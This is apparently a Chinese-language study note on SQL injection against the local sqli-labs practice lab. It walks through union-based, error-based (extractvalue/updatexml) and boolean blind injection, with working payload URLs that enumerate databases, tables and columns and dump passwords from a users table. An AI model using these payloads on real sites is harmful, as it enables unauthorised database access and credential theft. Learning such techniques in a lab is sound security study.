Sql注入

目录

 

联合注入

判断注入点

判断显示位(列)

联合查询

报错注入

extractvalue()

updatexml()

盲注


联合注入

判断注入点

GET['id']

?id=n

eg:127.0.0.1/sqli-labs/Less-1/?id=1

%23(#):过滤后面的语句

eg:127.0.0.1/sqli-labs/Less-1/?id=1' %23

加 ' 报错,再加%23(#)不报错,可判断一个注入点

整型注入:注入的是1,2,3......

字符型注入:注入的是a,b,c,def......

判断显示位(列)

order by n

n>列数 -->报错

n<=列数 -->不报错

eg:127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 %23

联合查询

union select

eg:127.0.0.1/sqli-labs/Less-1/?id=n' union select 1,2,3 %23

n为不存在的id

可在显示的数字与查询的数字一样的位置使用注入语句

如想爆它的库,用database()

eg:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,database() %23可得库名security

group_concat:将一列数据拼接成一排

eg:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat() %23

mysql中有一个information_schema,它记录了所有数据库的表名和列名,可查它来获得相应库下的表名,列名。

如查security的表、列名:

step:

爆表名:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23

爆列名:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23

爆数据:127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,2,group_concat(password) from users %23

报错注入

Sql注入_第1张图片

extractvalue()

Sql注入_第2张图片

updatexml()

Sql注入_第3张图片

extractvalue()和updatexml()返回数据的长度有限制,为32位 

mysql right函数

right(s,n):返回字符串s最右边的n个字符

盲注

盲注通常来讲分为布尔盲注和时间盲注,我们这里主要讲布尔盲注。

Sql注入_第4张图片

 Sql注入_第5张图片

第一种页面即代表数据存在或者你传递的参数是正确的,所以这个时候我们可以用length()函数来判断长度 ,当我们传递id=1' and length(database())>3时,该语句判断数据库名长度是否大于3,如果大于则返回第一个页面

Sql注入_第6张图片

 所以我们就可以通过修改参数来获得数据库名长度。

之后我们可以构造另一个注入语句,id=1' and ascii(substr((database()),1,1))>1 --+

这个则是判断数据库名的第一个字符所对应的ascii码是否大于1,符合则返回第一个页面,然后我们就可以一个一个试,最后得到所有字符的ascii码,然后得到想要的数据。

 

你可能感兴趣的:(数据库,mysql,database)